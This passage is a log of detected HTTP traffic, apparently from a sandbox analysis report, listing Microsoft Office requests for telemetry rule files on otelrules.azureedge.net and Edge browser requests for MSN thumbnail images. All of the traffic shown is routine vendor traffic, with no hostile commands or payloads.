Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BBYyvk2?w=0&h=0&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
